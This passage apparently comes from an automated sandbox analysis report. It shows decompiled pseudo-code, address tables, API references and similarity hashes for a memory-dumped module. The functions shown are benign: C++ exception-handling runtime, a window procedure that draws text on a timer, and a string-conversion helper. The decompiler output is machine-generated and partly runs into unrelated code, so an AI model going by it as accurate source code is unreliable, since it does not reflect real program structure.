													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6ED37915(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6ED39DBA(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6ED37CCB(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6ED39ABE(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6ED3A849(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6ED39ABE(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6ED39ABE(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6ED39ABE(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6ED39ABE(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6ED3A849(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6ED45A72(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6ED3A4DD( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x6ed6dafc) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6ED37CCB(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6ED3A4C5( &_v64);
											E6ED3838E( &_v64, 0x6ed6a39c);
											L63:
											 *(E6ED39ABE(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6ED39ABE(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6ED37B08(_t279, _t319, _t274);
											E6ED3A749(_a8, _a16, _t305);
											_t235 = E6ED3A906(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6ED3A6C0(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x6ed39e3a
0x6ed39e41
0x6ed39e43
0x6ed39e4c
0x6ed39e52
0x6ed39e5a
0x6ed39e5c
0x6ed39e5f
0x6ed39e65
0x6ed3a1de
0x6ed3a1de
0x6ed3a1e3
0x6ed3a1e5
0x6ed3a1e7
0x6ed3a1ea
0x6ed3a1eb
0x6ed3a1ee
0x6ed3a1f4
0x6ed3a313
0x6ed3a1fa
0x6ed3a1fc
0x6ed3a203
0x6ed3a206
0x6ed3a209
0x6ed3a20f
0x6ed3a211
0x6ed3a216
0x6ed3a219
0x6ed3a21b
0x6ed3a221
0x6ed3a223
0x6ed3a229
0x6ed3a23e
0x6ed3a243
0x6ed3a246
0x6ed3a248
0x6ed3a30f
0x00000000
0x6ed3a310
0x6ed3a248
0x6ed3a229
0x6ed3a221
0x6ed3a219
0x6ed3a24e
0x6ed3a251
0x6ed3a254
0x6ed3a257
0x6ed3a25a
0x6ed3a260
0x6ed3a272
0x6ed3a277
0x6ed3a27a
0x6ed3a27d
0x6ed3a280
0x6ed3a283
0x6ed3a286
0x6ed3a289
0x00000000
0x00000000
0x6ed3a28f
0x6ed3a28f
0x6ed3a292
0x6ed3a295
0x6ed3a2a4
0x6ed3a2a5
0x6ed3a2a5
0x6ed3a2a7
0x6ed3a2aa
0x00000000
0x00000000
0x6ed3a2ac
0x6ed3a2af
0x00000000
0x00000000
0x6ed3a2bd
0x6ed3a2bf
0x6ed3a2c2
0x6ed3a2c4
0x6ed3a2cc
0x6ed3a2cc
0x6ed3a2cf
0x6ed3a2d1
0x6ed3a2d3
0x6ed3a2ef
0x6ed3a2f4
0x6ed3a2f7
0x6ed3a2f7
0x00000000
0x6ed3a2cf
0x6ed3a2c6
0x6ed3a2ca
0x00000000
0x00000000
0x00000000
0x6ed3a2fa
0x6ed3a2fd
0x6ed3a2fe
0x6ed3a301
0x6ed3a304
0x6ed3a307
0x6ed3a30a
0x6ed3a30a
0x00000000
0x6ed3a295
0x6ed3a314
0x6ed3a319
0x6ed3a31a
0x6ed3a31d
0x6ed3a320
0x6ed3a321
0x6ed3a322
0x6ed3a323
0x6ed3a326
0x6ed3a328
0x6ed3a3a0
0x6ed3a3a2
0x6ed3a3a2
0x6ed3a32a
0x6ed3a32a
0x6ed3a32d
0x6ed3a330
0x00000000
0x6ed3a332
0x6ed3a332
0x6ed3a335
0x6ed3a338
0x6ed3a33f
0x6ed3a33f
0x6ed3a342
0x6ed3a344
0x6ed3a346
0x6ed3a378
0x6ed3a378
0x6ed3a37b
0x6ed3a382
0x6ed3a382
0x6ed3a385
0x6ed3a388
0x6ed3a38f
0x6ed3a38f
0x6ed3a392
0x6ed3a399
0x6ed3a39b
0x6ed3a39b
0x6ed3a394
0x6ed3a394
0x6ed3a397
0x00000000
0x00000000
0x6ed3a397
0x6ed3a38a
0x6ed3a38a
0x6ed3a38d
0x00000000
0x00000000
0x6ed3a38d
0x6ed3a37d
0x6ed3a37d
0x6ed3a380
0x00000000
0x00000000
0x6ed3a380
0x6ed3a39c
0x6ed3a348
0x6ed3a348
0x6ed3a348
0x6ed3a34b
0x6ed3a34b
0x6ed3a34d
0x6ed3a34f
0x00000000
0x00000000
0x6ed3a351
0x6ed3a353
0x6ed3a367
0x6ed3a367
0x6ed3a355
0x6ed3a355
0x6ed3a358
0x6ed3a35b
0x00000000
0x6ed3a35d
0x6ed3a35d
0x6ed3a360
0x6ed3a363
0x6ed3a365
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed3a365
0x6ed3a35b
0x6ed3a370
0x6ed3a370
0x6ed3a372
0x00000000
0x6ed3a374
0x6ed3a374
0x6ed3a374
0x00000000
0x6ed3a372
0x6ed3a36b
0x6ed3a36d
0x6ed3a36d
0x00000000
0x6ed3a36d
0x6ed3a33a
0x6ed3a33a
0x6ed3a33d
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed3a33d
0x6ed3a338
0x6ed3a330
0x6ed3a3a3
0x6ed3a3a7
0x6ed3a3a7
0x6ed39e74
0x6ed39e74
0x6ed39e7d
0x6ed39f7a
0x6ed39f7a
0x6ed39f7d
0x00000000
0x6ed39eac
0x6ed39eac
0x6ed39eb1
0x00000000
0x6ed39eb7
0x6ed39eb7
0x6ed39ebf
0x6ed3a178
0x6ed3a17c
0x6ed39ec5
0x6ed39eca
0x6ed39ecd
0x6ed39ed2
0x6ed39ed9
0x6ed39ede
0x00000000
0x6ed39f16
0x6ed39f1e
0x6ed39f82
0x6ed39f82
0x6ed39f85
0x6ed39f88
0x6ed39f8a
0x6ed39f8d
0x6ed39f90
0x6ed39f96
0x6ed3a147
0x6ed3a147
0x6ed3a14a
0x00000000
0x6ed3a14c
0x6ed3a14c
0x6ed3a14f
0x00000000
0x6ed3a155
0x6ed3a155
0x6ed3a158
0x6ed3a15b
0x6ed3a15c
0x6ed3a15d
0x6ed3a160
0x6ed3a161
0x6ed3a164
0x6ed3a165
0x6ed3a16a
0x00000000
0x6ed3a16a
0x6ed3a14f
0x6ed39f9c
0x6ed39f9c
0x6ed39fa0
0x00000000
0x6ed39fa6
0x6ed39fa6
0x6ed39fad
0x6ed39fc5
0x6ed39fc5
0x6ed39fc8
0x6ed39fcb
0x6ed39fd1
0x6ed39fe1
0x6ed39fe6
0x6ed39fe9
0x6ed39fec
0x6ed39fef
0x6ed39ff2
0x6ed39ff5
0x6ed39ff8
0x6ed39ffe
0x6ed39ffe
0x6ed3a001
0x6ed3a004
0x6ed3a013
0x6ed3a014
0x6ed3a014
0x6ed3a016
0x6ed3a019
0x6ed3a01f
0x6ed3a022
0x6ed3a028
0x6ed3a02a
0x6ed3a02d
0x6ed3a030
0x6ed3a039
0x6ed3a03c
0x6ed3a03e
0x6ed3a03e
0x6ed3a041
0x6ed3a044
0x6ed3a047
0x6ed3a04a
0x6ed3a04d
0x6ed3a052
0x6ed3a053
0x6ed3a054
0x6ed3a055
0x6ed3a056
0x6ed3a059
0x6ed3a05b
0x6ed3a05d
0x00000000
0x6ed3a05f
0x6ed3a05f
0x6ed3a05f
0x6ed3a062
0x6ed3a065
0x6ed3a067
0x6ed3a068
0x6ed3a06d
0x6ed3a070
0x6ed3a072
0x00000000
0x00000000
0x6ed3a074
0x6ed3a075
0x6ed3a078
0x6ed3a07a
0x00000000
0x6ed3a07c
0x6ed3a07c
0x6ed3a07f
0x6ed3a082
0x00000000
0x6ed3a082
0x00000000
0x6ed3a07a
0x6ed3a096
0x6ed3a09c
0x6ed3a0b9
0x6ed3a0be
0x6ed3a0be
0x6ed3a0c1
0x6ed3a0c1
0x00000000
0x6ed3a085
0x6ed3a085
0x6ed3a086
0x6ed3a089
0x6ed3a08c
0x6ed3a08f
0x6ed3a08f
0x00000000
0x6ed3a094
0x6ed3a030
0x6ed3a022
0x6ed3a0c4
0x6ed3a0c7
0x6ed3a0c8
0x6ed3a0cb
0x6ed3a0ce
0x6ed3a0d1
0x6ed3a0d4
0x6ed3a0d4
0x6ed3a0dd
0x6ed3a0e0
0x6ed3a0e0
0x6ed39ff8
0x6ed3a0e3
0x6ed3a0e7
0x6ed3a0e9
0x6ed3a0ec
0x6ed3a0f2
0x6ed3a0f2
0x6ed3a0fa
0x6ed3a0ff
0x6ed3a16d
0x6ed3a16d
0x6ed3a172
0x6ed3a176
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed3a101
0x6ed3a101
0x6ed3a105
0x6ed3a117
0x6ed3a11a
0x6ed3a11d
0x6ed3a11f
0x6ed3a136
0x6ed3a13a
0x6ed3a140
0x6ed3a141
0x6ed3a143
0x00000000
0x6ed3a145
0x00000000
0x6ed3a145
0x6ed3a121
0x6ed3a126
0x6ed3a129
0x6ed3a12e
0x6ed3a131
0x00000000
0x6ed3a131
0x6ed3a107
0x6ed3a10a
0x6ed3a10d
0x6ed3a10f
0x00000000
0x6ed3a111
0x6ed3a111
0x6ed3a115
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed3a115
0x6ed3a10f
0x6ed3a105
0x6ed39faf
0x6ed39faf
0x6ed39fb6
0x00000000
0x6ed39fb8
0x6ed39fb8
0x6ed39fbf
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed39fbf
0x6ed39fb6
0x6ed39fad
0x6ed39fa0
0x6ed39f20
0x6ed39f28
0x6ed39f2b
0x6ed39f30
0x6ed39f34
0x6ed39f37
0x6ed39f3d
0x6ed39f40
0x00000000
0x6ed39f42
0x6ed39f42
0x6ed39f45
0x6ed39f47
0x6ed3a17d
0x6ed3a17d
0x00000000
0x6ed39f4d
0x6ed39f55
0x6ed39f60
0x00000000
0x00000000
0x6ed39f69
0x6ed39f6c
0x6ed39f6d
0x6ed39f70
0x6ed39f72
0x00000000
0x6ed39f78
0x00000000
0x6ed39f78
0x00000000
0x6ed39f72
0x6ed39f4d
0x6ed3a182
0x6ed3a182
0x6ed3a184
0x6ed3a185
0x6ed3a18c
0x6ed3a18f
0x6ed3a19d
0x6ed3a1a2
0x6ed3a1a7
0x6ed3a1aa
0x6ed3a1af
0x6ed3a1b2
0x6ed3a1b5
0x6ed3a1b7
0x6ed3a1b9
0x6ed3a1b9
0x6ed3a1be
0x6ed3a1ca
0x6ed3a1d0
0x6ed3a1d5
0x6ed3a1d8
0x6ed3a1d9
0x00000000
0x6ed3a1d9
0x6ed39f40
0x6ed39f1e
0x6ed39ede
0x6ed39ebf
0x6ed39eb1
0x6ed39e7d

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6ED39F37
type_info::operator==.LIBVCRUNTIME ref: 6ED39F59
___TypeMatch.LIBVCRUNTIME ref: 6ED3A068
IsInExceptionSpec.LIBVCRUNTIME ref: 6ED3A13A
_UnwindNestedFrames.LIBCMT ref: 6ED3A1BE
CallUnexpected.LIBVCRUNTIME ref: 6ED3A1D9

Strings

csm, xrefs: 6ED39F90
csm, xrefs: 6ED39EE4
csm, xrefs: 6ED39E77

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 143e7d77c91ad3960d87082327dcaf5ff17c8ae7f23d1f3270c2ea532f70956d
Instruction ID: b64ad11e72b26e498ccc79bc42ceccd267cd21db4835fcbb009db18ea012a697
Opcode Fuzzy Hash: 143e7d77c91ad3960d87082327dcaf5ff17c8ae7f23d1f3270c2ea532f70956d
Instruction Fuzzy Hash: A0B19B7590422AEFCF15CFE4C8809DEB7B9BF06314F204959E8116B25AD731DA51CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED30400, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6ED30400(void* __ecx, void* __esi, intOrPtr _a8, _Unknown_base(*)()** _a20, intOrPtr _a24) {
				intOrPtr _t25;
				void* _t36;
				void* _t48;
				void* _t50;
				void* _t57;
				struct HDC__* _t59;

				_t57 = __ecx;
				if(_a24 != 0) {
					L3:
					return 0;
				} else {
					_t25 = _a8;
					if(_t25 != 1) {
						_t50 = __ecx - 0x14;
						if(_t25 != 2) {
							if(_t25 != 0xf) {
								if(_t25 == 0x113) {
									L15:
									InvalidateRect( *(_t57 + 4), 0, 1);
									 *_a20 = 0;
									return 1;
								} else {
									if(_t25 != 0x14) {
										if(_t25 != 0x201) {
											goto L3;
										} else {
											 *(__ecx + 0x78) = ( *(__ecx + 0x78) + 1) % ( *((intOrPtr*)(__ecx + 0x68)) -  *((intOrPtr*)(__ecx + 0x64)) >> 4);
											goto L15;
										}
									} else {
										 *_a20 = 1;
										return 1;
									}
								}
							} else {
								 *_a20 = E6ED312B0(_t48, _t50);
								return 1;
							}
						} else {
							_t36 =  *(__ecx + 0x40);
							if(_t36 != 0) {
								DeleteObject(_t36);
								 *(__ecx + 0x40) = 0;
							}
							 *_a20 = 0;
							return 0;
						}
					} else {
						_t59 = GetDC( *(__ecx + 4));
						 *((intOrPtr*)(_t57 + 0x40)) = CreateFontW( ~(MulDiv(8, GetDeviceCaps(_t59, 0x5a), 0x48)), 0, 0, 0, 0x2bc, 0, 0, 0, 0, 0, 0, 0, 0, L"Arial");
						ReleaseDC( *(_t57 + 4), _t59);
						SetTimer( *(_t57 + 4), 0x3e8, 0x3e8, 0);
						 *_a20 = 0;
						goto L3;
					}
				}
			}

0x6ed30408
0x6ed3040a
0x6ed30489
0x6ed3048d
0x6ed3040c
0x6ed3040c
0x6ed30412
0x6ed30490
0x6ed30496
0x6ed304c0
0x6ed304de
0x6ed30513
0x6ed3051a
0x6ed30524
0x6ed30530
0x6ed304e0
0x6ed304e3
0x6ed304fd
0x00000000
0x6ed304ff
0x6ed30510
0x00000000
0x6ed30510
0x6ed304e5
0x6ed304e9
0x6ed304f5
0x6ed304f5
0x6ed304e3
0x6ed304c2
0x6ed304ce
0x6ed304d6
0x6ed304d6
0x6ed30498
0x6ed30498
0x6ed3049d
0x6ed304a0
0x6ed304a6
0x6ed304a6
0x6ed304b1
0x6ed304ba
0x6ed304ba
0x6ed30414
0x6ed30440
0x6ed3045e
0x6ed30464
0x6ed30479
0x6ed30483
0x00000000
0x6ed30483
0x6ed30412

APIs

GetDC.USER32(?), ref: 6ED30418
GetDeviceCaps.GDI32(00000000,0000005A), ref: 6ED30445
MulDiv.KERNEL32(00000008,00000000), ref: 6ED3044E
CreateFontW.GDI32(00000000), ref: 6ED30457
ReleaseDC.USER32 ref: 6ED30464
SetTimer.USER32 ref: 6ED30479

Part of subcall function 6ED312B0: BeginPaint.USER32(?,?), ref: 6ED312F3
Part of subcall function 6ED312B0: GetParent.USER32(?), ref: 6ED312FC
Part of subcall function 6ED312B0: GetClientRect.USER32 ref: 6ED31312
Part of subcall function 6ED312B0: CreateCompatibleDC.GDI32(?), ref: 6ED31318
Part of subcall function 6ED312B0: CreateCompatibleBitmap.GDI32(?,?,?), ref: 6ED3133A
Part of subcall function 6ED312B0: SelectObject.GDI32(00000000,00000000), ref: 6ED31346
Part of subcall function 6ED312B0: SelectObject.GDI32(00000000,?), ref: 6ED31358
Part of subcall function 6ED312B0: SendMessageW.USER32(?,00000014,00000000,00000000), ref: 6ED31371
Part of subcall function 6ED312B0: SendMessageW.USER32(?,0000000F,?,00000000), ref: 6ED3137F
Part of subcall function 6ED312B0: SetBkMode.GDI32(?,00000001), ref: 6ED31388
Part of subcall function 6ED312B0: SetTextColor.GDI32(?,00FFFFFF), ref: 6ED31394
Part of subcall function 6ED312B0: GetClientRect.USER32 ref: 6ED313A6
Part of subcall function 6ED312B0: ClientToScreen.USER32(?,?), ref: 6ED313B4
Part of subcall function 6ED312B0: ClientToScreen.USER32(?,?), ref: 6ED313C9
Part of subcall function 6ED312B0: ClientToScreen.USER32(?,?), ref: 6ED313EB

DeleteObject.GDI32(?), ref: 6ED304A0

Strings

Arial, xrefs: 6ED3041E

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Client$CreateObjectScreen$CompatibleMessageRectSelectSend$BeginBitmapCapsColorDeleteDeviceFontModePaintParentReleaseTextTimer
String ID: Arial
API String ID: 1525433823-493054409
Opcode ID: 5e96a23a9665d82011ff503d6b371c262165774259c94cc6ca0d8377f67ccd49
Instruction ID: 8580423f2a910ab8e0e063b15454839b4739f461f23fdb915f1e2eaba035edef
Opcode Fuzzy Hash: 5e96a23a9665d82011ff503d6b371c262165774259c94cc6ca0d8377f67ccd49
Instruction Fuzzy Hash: BA31F431240716EFFB509F68DC46B9A7BA8FB46321F204512F501DA6D0D7B6E962CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED37640, Relevance: 15.2, APIs: 10, Instructions: 154
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E6ED37640(void* __ebx, char* __edx, char* _a4) {
				int _v8;
				signed int _v12;
				char _v20;
				short* _v28;
				signed int _v32;
				short* _v36;
				int _v40;
				int _v44;
				intOrPtr _v60;
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t31;
				char _t33;
				int _t34;
				signed short _t36;
				signed short _t38;
				void* _t49;
				short* _t50;
				int _t52;
				int _t53;
				char* _t58;
				int _t59;
				void* _t60;
				char* _t61;
				intOrPtr* _t62;
				intOrPtr* _t63;
				char* _t69;
				intOrPtr _t70;
				int _t71;
				intOrPtr* _t72;
				void* _t74;
				short* _t75;
				void* _t78;
				signed int _t79;
				void* _t81;
				short* _t82;

				_t69 = __edx;
				_push(0xfffffffe);
				_push(0x6ed6a1f0);
				_push(E6ED38230);
				_push( *[fs:0x0]);
				_t82 = _t81 - 0x18;
				_t30 =  *0x6ed6d008; // 0x3f169fae
				_v12 = _v12 ^ _t30;
				_t31 = _t30 ^ _t79;
				_v32 = _t31;
				_push(__ebx);
				_push(_t75);
				_push(_t71);
				_push(_t31);
				 *[fs:0x0] =  &_v20;
				_v28 = _t82;
				_t58 = _a4;
				if(_t58 != 0) {
					_t61 = _t58;
					_t10 =  &(_t61[1]); // 0x6ed27ce6
					_t69 = _t10;
					do {
						_t33 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t33 != 0);
					_t62 = _t61 - _t69;
					_t11 = _t62 + 1; // 0x6ed27ce7
					_t34 = _t11;
					_v44 = _t34;
					if(_t34 > 0x7fffffff) {
						L17:
						E6ED37500(0x80070057);
						goto L18;
					} else {
						_t71 = MultiByteToWideChar(0, 0, _t58, _t34, 0, 0);
						_v40 = _t71;
						if(_t71 == 0) {
							L18:
							_t36 = GetLastError();
							if(_t36 > 0) {
								_t36 = _t36 & 0x0000ffff | 0x80070000;
							}
							E6ED37500(_t36);
							goto L21;
						} else {
							_v8 = 0;
							_t49 = _t71 + _t71;
							if(_t71 >= 0x1000) {
								_push(_t49);
								_t50 = E6ED44A18();
								_t82 =  &(_t82[2]);
								_t75 = _t50;
								_v36 = _t75;
								_v8 = 0xfffffffe;
							} else {
								E6ED574B0(_t49);
								_v28 = _t82;
								_t75 = _t82;
								_v36 = _t75;
								_v8 = 0xfffffffe;
							}
							if(_t75 == 0) {
								L16:
								E6ED37500(0x8007000e);
								goto L17;
							} else {
								_t52 = MultiByteToWideChar(0, 0, _t58, _v44, _t75, _t71);
								if(_t52 == 0) {
									L21:
									if(_t71 >= 0x1000) {
										E6ED3D419(_t75);
										_t82 =  &(_t82[2]);
									}
									_t38 = GetLastError();
									if(_t38 > 0) {
										_t38 = _t38 & 0x0000ffff | 0x80070000;
									}
									E6ED37500(_t38);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t79);
									_t70 = _v60;
									_push(_t71);
									_t72 = _t62;
									 *_t72 = 0x6ed5b3f0;
									 *((intOrPtr*)(_t72 + 4)) =  *((intOrPtr*)(_t70 + 4));
									_t63 =  *((intOrPtr*)(_t70 + 8));
									 *((intOrPtr*)(_t72 + 8)) = _t63;
									 *(_t72 + 0xc) = 0;
									if(_t63 != 0) {
										 *0x6ed5a328(_t63, _t75);
										 *((intOrPtr*)( *((intOrPtr*)( *_t63 + 4))))();
									}
									return _t72;
								} else {
									__imp__#2(_t75);
									_t59 = _t52;
									if(_t71 >= 0x1000) {
										E6ED3D419(_t75);
										_t82 =  &(_t82[2]);
									}
									if(_t59 == 0) {
										goto L16;
									} else {
										_t53 = _t59;
										goto L2;
									}
								}
							}
						}
					}
				} else {
					_t53 = 0;
					L2:
					 *[fs:0x0] = _v20;
					_pop(_t74);
					_pop(_t78);
					_pop(_t60);
					return E6ED34160(_t53, _t60, _v32 ^ _t79, _t69, _t74, _t78);
				}
			}

0x6ed37640
0x6ed37643
0x6ed37645
0x6ed3764a
0x6ed37655
0x6ed37656
0x6ed37659
0x6ed3765e
0x6ed37661
0x6ed37663
0x6ed37666
0x6ed37667
0x6ed37668
0x6ed37669
0x6ed3766d
0x6ed37673
0x6ed37676
0x6ed3767b
0x6ed376a0
0x6ed376a2
0x6ed376a2
0x6ed376a5
0x6ed376a5
0x6ed376a7
0x6ed376a8
0x6ed376ac
0x6ed376ae
0x6ed376ae
0x6ed376b1
0x6ed376b9
0x6ed3777d
0x6ed37782
0x00000000
0x6ed376bf
0x6ed376cf
0x6ed376d1
0x6ed376d6
0x6ed37787
0x6ed37787
0x6ed3778f
0x6ed37794
0x6ed37794
0x6ed3779a
0x00000000
0x6ed376dc
0x6ed376dc
0x6ed376e3
0x6ed376ec
0x6ed37704
0x6ed37705
0x6ed3770a
0x6ed3770d
0x6ed3770f
0x6ed37712
0x6ed376ee
0x6ed376ee
0x6ed376f3
0x6ed376f6
0x6ed376f8
0x6ed376fb
0x6ed376fb
0x6ed37738
0x6ed37773
0x6ed37778
0x00000000
0x6ed3773a
0x6ed37744
0x6ed3774c
0x6ed3779f
0x6ed377a5
0x6ed377a8
0x6ed377ad
0x6ed377ad
0x6ed377b0
0x6ed377b8
0x6ed377bd
0x6ed377bd
0x6ed377c3
0x6ed377c8
0x6ed377c9
0x6ed377ca
0x6ed377cb
0x6ed377cc
0x6ed377cd
0x6ed377ce
0x6ed377cf
0x6ed377d0
0x6ed377d3
0x6ed377d6
0x6ed377d7
0x6ed377d9
0x6ed377e2
0x6ed377e5
0x6ed377e8
0x6ed377eb
0x6ed377f4
0x6ed377ff
0x6ed37805
0x6ed37807
0x6ed3780c
0x6ed3774e
0x6ed3774f
0x6ed37755
0x6ed3775d
0x6ed37760
0x6ed37765
0x6ed37765
0x6ed3776a
0x00000000
0x6ed3776c
0x6ed3776c
0x00000000
0x6ed3776c
0x6ed3776a
0x6ed3774c
0x6ed37738
0x6ed376d6
0x6ed3767d
0x6ed3767d
0x6ed3767f
0x6ed37685
0x6ed3768d
0x6ed3768e
0x6ed3768f
0x6ed3769d
0x6ed3769d

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,6ED27CE5,6ED27CE7,00000000,00000000,3F169FAE,?,00000000,?,Function_00018230,6ED6A1F0,000000FE,?,6ED27CE5), ref: 6ED376C9
__alloca_probe_16.LIBCMT ref: 6ED376EE
MultiByteToWideChar.KERNEL32(00000000,00000000,6ED27CE5,?,00000000,00000000,?,Function_00018230,6ED6A1F0,000000FE,?,6ED27CE5), ref: 6ED37744
SysAllocString.OLEAUT32(00000000), ref: 6ED3774F
_com_issue_error.COMSUPP ref: 6ED37778
_com_issue_error.COMSUPP ref: 6ED37782
GetLastError.KERNEL32(80070057,3F169FAE,?,00000000,?,Function_00018230,6ED6A1F0,000000FE,?,6ED27CE5), ref: 6ED37787
_com_issue_error.COMSUPP ref: 6ED3779A
